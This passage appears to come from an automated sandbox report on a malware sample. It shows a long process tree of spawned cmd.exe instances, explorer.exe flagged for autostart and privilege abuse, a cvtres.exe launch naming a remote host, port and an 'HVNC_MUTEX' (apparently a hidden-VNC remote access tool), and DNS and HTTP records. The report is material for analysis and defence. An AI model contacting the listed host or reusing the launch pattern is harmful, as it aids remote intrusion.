                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                        PID:8588
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:4840
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                            PID:6224
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:6860
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                PID:8180
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:8472
                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                    PID:8656
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:8796
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                        PID:9228
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:9248
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                            PID:9312
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                              PID:9328
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:9392
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                  PID:9404
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                    PID:9448
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:9544
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                        PID:9588
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                          PID:9600
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                            PID:9684
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                              PID:9696
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:9800
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:9840
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:9860
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:9924
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:9936
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:10020
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:10032
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:10124
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:10192
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:10228
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:9480
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:10216
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:10244
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:10320
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:10336
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:10420
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:10460
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:10492
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:10560
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:10584
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:10660
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:10668
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:10756
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:10792
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:10824
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:10896
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:10904
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:10988
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:11048
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11108
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:11156
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:11216
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:11224
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:10520
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:10960
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:11296
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:11356
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11420
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:11468
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:11524
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:11572
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:11620
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:11672
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:11720
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:11736
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11816
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:11848
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:11908
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:11936
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:12032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:12076
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:12128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:12180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:12232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:12252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:11592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:9912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:10716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:10856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\explorer.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:13592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 147.185.221.21 4448 HVNC_MUTEX
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:13608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\AUDIODG.EXE 0x474 0x248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:13864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:14304

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  g.bing.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  g.bing.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  g.bing.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  g-bing-com.dual-a-0034.a-msedge.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  g-bing-com.dual-a-0034.a-msedge.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dual-a-0034.a-msedge.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dual-a-0034.a-msedge.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  204.79.197.237
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dual-a-0034.a-msedge.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  13.107.21.237
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  204.79.197.237:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid= HTTP/2.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  host: g.bing.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  accept-encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  user-agent: WindowsShellClient/9.0.40929.0 (Windows)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
